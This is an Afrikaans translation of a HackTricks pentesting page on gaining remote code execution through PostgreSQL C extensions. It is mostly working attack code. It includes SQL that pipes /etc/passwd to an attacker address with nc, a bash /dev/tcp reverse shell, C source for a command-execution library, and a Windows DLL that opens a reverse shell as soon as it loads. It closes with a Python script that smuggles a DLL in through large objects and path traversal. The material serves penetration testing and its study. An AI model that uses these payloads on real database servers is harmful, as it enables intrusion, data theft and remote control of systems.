hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
2024-02-11 02:07:06 +00:00

347 lines
16 KiB
Markdown

# RCE met PostgreSQL-uitbreidings
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## PostgreSQL-uitbreidings
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernkenmerk, wat dit moontlik maak om uitbreidings naadloos te integreer asof dit ingeboude funksionaliteite is. Hierdie uitbreidings, essensieel biblioteke geskryf in C, verryk die databasis met addisionele funksies, operatore of tipes.
Vanaf weergawe 8.1 af, word 'n spesifieke vereiste opgelê aan die uitbreidingsbiblioteke: hulle moet gekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, om sodoende slegs verenigbare en potensieel veilige uitbreidings te gebruik.
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer te oplaai deur PostgreSQL te misbruik nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
### RCE in Linux
**Vir meer inligting, kyk: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Die uitvoering van stelselopdragte vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en reguit is. Dit is moontlik om hierdie [Metasploit-module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) te gebruik.
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>
<summary>Skryf binêre lêer vanaf base64</summary>
Om 'n binêre lêer in postgres te skryf, moet jy dalk base64 gebruik. Dit sal nuttig wees vir daardie doel:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
```
</details>
Egter, wanneer dit op nuwer weergawes probeer word, is die volgende fout gewys:
```c
ERROR: incompatible library /lib/x86_64-linux-gnu/libc.so.6: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Hierdie fout word verduidelik in die [PostgreSQL-dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Om te verseker dat 'n dinamies gelaai objeklêer nie in 'n onversoenbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n "sielblok" bevat met die toepaslike inhoud. Dit stel die bediener in staat om duidelike onversoenbaarhede op te spoor, soos kode wat vir 'n ander hoofweergawe van PostgreSQL gekompileer is. 'n Sielblok word vereis vanaf PostgreSQL 8.2. Om 'n sielblok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat die fmgr.h-kopiereël ingesluit is:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Vanaf PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te misbruik, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n aangepaste biblioteek oplaai. Hierdie aangepaste biblioteek moet gekompileer word teen die versoenbare hoofweergawe van PostgreSQL en moet 'n spesifieke "sielblok" insluit. Hierdie maatreël verhoog die moeilikheid om PostgreSQL-stelsels te misbruik aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergaweversoenbaarheid vereis.
#### Kompileer die biblioteek
Kry die PostgreSQL-weergawe met:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Vir verenigbaarheid is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom sal dit verseker dat suksesvolle integrasie plaasvind as 'n biblioteek met enige weergawe binne die 9.6.x-reeks saamgestel word.
Om daardie weergawe op jou stelsel te installeer:
```bash
apt install postgresql postgresql-server-dev-9.6
```
En stel die biblioteek saam:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Laai dan die saamgestelde biblioteek op en voer opdragte uit met:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Jy kan hierdie **biblioteek vooraf saamgestel** vind vir verskeie verskillende PostgreSQL-weergawes en selfs kan jy hierdie proses outomatiseer (as jy PostgreSQL-toegang het) met:
{% embed url="https://github.com/Dionach/pgexec" %}
### RCE in Windows
Die volgende DLL neem as inset die **naam van die binêre lêer** en die **aantal kere** wat jy dit wil uitvoer en voer dit uit:
```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
Jy kan die DLL wat in hierdie zip saamgestel is, vind:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
Jy kan aan hierdie DLL aandui **watter binêre lêer om uit te voer** en die aantal kere om dit uit te voer. In hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
In [**hier**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde skulp vind:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Let daarop hoe in hierdie geval die **skadelike kode binne die DllMain-funksie** is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaai funksie in postgresql uit te voer nie, net **die DLL laai** sal die omgekeerde skulpruim uitvoer:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
### RCE in nuutste Prostgres weergawes
In die **nuutste weergawes** van PostgreSQL is beperkings opgelê waar die `superuser` **verbied** word om gedeelde biblioteeklêers te **laai** behalwe uit spesifieke gids, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix-stelsels. Hierdie gidse is **beveilig** teen skryfoperasies deur die NETWORK\_SERVICE of postgres-rekeninge.
Ten spyte van hierdie beperkings is dit moontlik vir 'n geauthentiseerde databasis `superuser` om **binêre lêers na die lêersisteem te skryf** deur gebruik te maak van "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos opdatering of skepping van tabelle.
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION`-opdrag, wat **gidsverspreiding toelaat** na die data-gids. Gevolglik kan 'n geauthentiseerde aanvaller hierdie verspreiding **uitbuit** om 'n gedeelde biblioteeklêer in die data-gids te skryf en dit dan **laai**. Hierdie aanval stel die aanvaller in staat om willekeurige kode uit te voer, wat lei tot uitvoering van inheemse kode op die stelsel.
#### Aanvalvloei
Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit te doen hier:
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die data-gids opgelaai het, kan jy dit laai met:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Merk op dat jy nie die `.dll` uitbreiding hoef by te voeg nie, aangesien die skepfunksie dit sal byvoeg._
Vir meer inligting **lees die**[ **oorspronklike publikasie hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In daardie publikasie **was hierdie die** [**kode wat gebruik is om die postgres-uitbreiding te genereer**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres-uitbreiding saam te stel, lees enige van die vorige weergawes_).\
Op dieselfde bladsy is hierdie **uitbuiting om hierdie tegniek outomaties te gebruik** gegee:
```python
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## Verwysings
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>